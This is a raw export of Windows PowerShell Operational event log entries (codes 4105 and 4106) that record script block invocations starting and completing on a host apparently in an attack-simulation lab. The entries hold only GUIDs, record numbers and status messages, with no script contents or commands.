SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029309
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029308
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029307
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029306
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029290
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029289
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029284
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029283
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
